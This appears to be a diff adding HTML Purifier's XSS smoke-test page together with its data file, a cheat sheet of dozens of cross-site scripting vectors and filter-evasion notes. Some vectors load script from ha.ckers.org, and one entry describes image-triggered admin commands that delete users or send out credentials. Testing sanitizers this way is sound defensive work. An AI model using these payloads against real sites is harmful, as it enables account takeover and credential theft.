    Caveats: +Google.com has been programatically disallowed, but as you can +see, there are ways of getting around that, so coverage in this area +is not complete. Most XSS broadcasts its presence by spawning an alert dialogue. +The displayed code is not strictly correct, as linebreaks have been forced for +readability. Linewraps have been marked with ». Some tests are +omitted for your convenience. Not all control characters are displayed.

    + +

    Test

    +Requires PHP 5.

    '); + +$xml = simplexml_load_file('xssAttacks.xml'); + +// programatically disallow google.com for URI evasion tests +// not complete +$config = HTMLPurifier_Config::createDefault(); +$config->set('URI.HostBlacklist', array('google.com')); +$purifier = new HTMLPurifier($config); + +?> + + + +attack as $attack) { + $code = $attack->code; + + // custom code for null byte injection tests + if (substr($code, 0, 7) == 'perl -e') { + $code = substr($code, $i=strpos($code, '"')+1, strrpos($code, '"') - $i); + $code = str_replace('\0', "\0", $code); + } + + // disable vectors we cannot test in any meaningful way + if ($code == 'See Below') continue; // event handlers, whitelist defeats + if ($attack->name == 'OBJECT w/Flash 2') continue; // requires ActionScript + if ($attack->name == 'IMG Embedded commands 2') continue; // is an HTTP response + + // custom code for US-ASCII, which couldn't be expressed in XML without encoding + if ($attack->name == 'US-ASCII encoding') $code = urldecode($code); +?> + > + + + purify($code); ?> + + + + + +
    NameRawOutputRender
    name); ?>
    + + + + + + XSS Locator + ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} + + Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + XSS Quick Test + '';!--"<XSS>=&{()} + If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + SCRIPT w/Alert() + <SCRIPT>alert('XSS')</SCRIPT> + Basic injection attack + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + SCRIPT w/Source File + <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> + No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + SCRIPT w/Char Code + <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> + Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + BASE + <BASE HREF="javascript:alert('XSS');//"> + Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + BGSOUND + <BGSOUND SRC="javascript:alert('XSS');"> + BGSOUND + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + BODY background-image + <BODY BACKGROUND="javascript:alert('XSS');"> + BODY image + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + BODY ONLOAD + <BODY ONLOAD=alert('XSS')> + BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + DIV background-image 1 + <DIV STYLE="background-image: url(javascript:alert('XSS'))"> + Div background-image + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + DIV background-image 2 + <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> + Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + DIV expression + <DIV STYLE="width: expression(alert('XSS'));"> + Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression" + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + FRAME + <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> + Frame (Frames have the same sorts of XSS problems as iframes). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IFRAME + <IFRAME SRC="javascript:alert('XSS');"></IFRAME> + Iframe (If iframes are allowed there are a lot of other XSS problems as well). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + INPUT Image + <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> + INPUT Image + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IMG w/JavaScript Directive + <IMG SRC="javascript:alert('XSS');"> + Image XSS using the JavaScript directive. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IMG No Quotes/Semicolon + <IMG SRC=javascript:alert('XSS')> + No quotes and no semicolon + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IMG Dynsrc + <IMG DYNSRC="javascript:alert('XSS');"> + IMG Dynsrc + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + IMG Lowsrc + <IMG LOWSRC="javascript:alert('XSS');"> + IMG Lowsrc + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + IMG Embedded commands 1 + <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> + This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IMG Embedded commands 2 + Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser + IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IMG STYLE w/expression + exp/*<XSS STYLE='no\xss:noxss("*//*"); +xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> + + IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + List-style-image + <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS + + Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + IMG w/VBscript + <IMG SRC='vbscript:msgbox("XSS")'> + VBscript in an image + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + LAYER + <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> + Layer (Older Netscape only) + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + + Livescript + <IMG SRC="livescript:[code]"> + Livescript (Older Netscape only) + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + + US-ASCII encoding + %BCscript%BEalert(%A2XSS%A2)%BC/script%BE + Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>] + + + + META + <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> + The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + META w/data:URL + <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> + This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + META w/additional URL parameter + <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> + Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Mocha + <IMG SRC="mocha:[code]"> + Mocha (Older Netscape only) + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + + OBJECT + <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> + If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + OBJECT w/Embedded XSS + <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> + Using an OBJECT tag you can embed XSS directly (this is unverified). + + + Browser support: + + + Embed Flash + <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> + + Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html : + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + OBJECT w/Flash 2 + a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d); + + Using this action script inside flash can obfuscate your XSS vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + STYLE + <STYLE TYPE="text/javascript">alert('XSS');</STYLE> + STYLE tag (Older versions of Netscape only) + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + + STYLE w/Comment + <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> + STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + STYLE w/Anonymous HTML + <XSS STYLE="xss:expression(alert('XSS'))"> + Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + STYLE w/background-image + <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> + + STYLE tag using background-image. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + STYLE w/background + <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> + + STYLE tag using background. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Stylesheet + <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> + Stylesheet + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Remote Stylesheet 1 + <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> + Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Remote Stylesheet 2 + <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> + Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Remote Stylesheet 3 + <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> + Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox. + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Remote Stylesheet 4 + <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> + Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites. + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + TABLE + <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> + Table background (who would have thought tables were XSS targets... except me, of course). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + TD + <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> + TD background. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + XML namespace + <HTML xmlns:xss> +<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> +<xss:xss>XSS</xss:xss> + +</HTML> + XML namespace. The .htc file must be located on the server as your XSS vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + XML data island w/CDATA + <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> + +</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> + XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + XML data island w/comment + <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> + +<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> + XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + XML (locally hosted) + <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> +<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> + + Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + XML HTML+TIME + <HTML><BODY> +<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> + +<?import namespace="t" implementation="#default#time2"> +<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> + + HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Commented-out Block + <!--[if gte IE 4]> +<SCRIPT>alert('XSS');</SCRIPT> +<![endif]--> + + Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Cookie Manipulation + <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> + + Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Local .htc file + <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> + This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Rename .js to .jpg + <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> + Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + SSI + <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> + + SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + PHP + <? echo('<SCR)'; +echo('IPT>alert("XSS")</SCRIPT>'); ?> + + PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + JavaScript Includes + <BR SIZE="&{alert('XSS')}"> + &JavaScript includes (works in Netscape 4.x). + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + + Character Encoding Example + < +%3C +&lt +&lt; +&LT +&LT; +&#60 +&#060 +&#0060 + +&#00060 +&#000060 +&#0000060 +&#60; +&#060; +&#0060; +&#00060; +&#000060; +&#0000060; +&#x3c +&#x03c +&#x003c +&#x0003c +&#x00003c +&#x000003c +&#x3c; +&#x03c; + +&#x003c; +&#x0003c; +&#x00003c; +&#x000003c; +&#X3c +&#X03c +&#X003c +&#X0003c +&#X00003c +&#X000003c +&#X3c; +&#X03c; +&#X003c; +&#X0003c; +&#X00003c; +&#X000003c; +&#x3C + +&#x03C +&#x003C +&#x0003C +&#x00003C +&#x000003C +&#x3C; +&#x03C; +&#x003C; +&#x0003C; +&#x00003C; +&#x000003C; +&#X3C +&#X03C +&#X003C +&#X0003C +&#X00003C +&#X000003C + +&#X3C; +&#X03C; +&#X003C; +&#X0003C; +&#X00003C; +&#X000003C; +\x3c +\x3C +\u003c +\u003C + All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?). + + + Browser support: + + + Case Insensitive + <IMG SRC=JaVaScRiPt:alert('XSS')> + Case insensitive XSS attack vector. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + HTML Entities + <IMG SRC=javascript:alert(&quot;XSS&quot;)> + HTML entities (the semicolons are required for this to work). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Grave Accents + <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> + Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Image w/CharCode + <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> + If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + UTF-8 Unicode Encoding + <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> + + UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Long UTF-8 Unicode w/out Semicolons + <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> + + Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + DIV w/Unicode + <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> + DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span 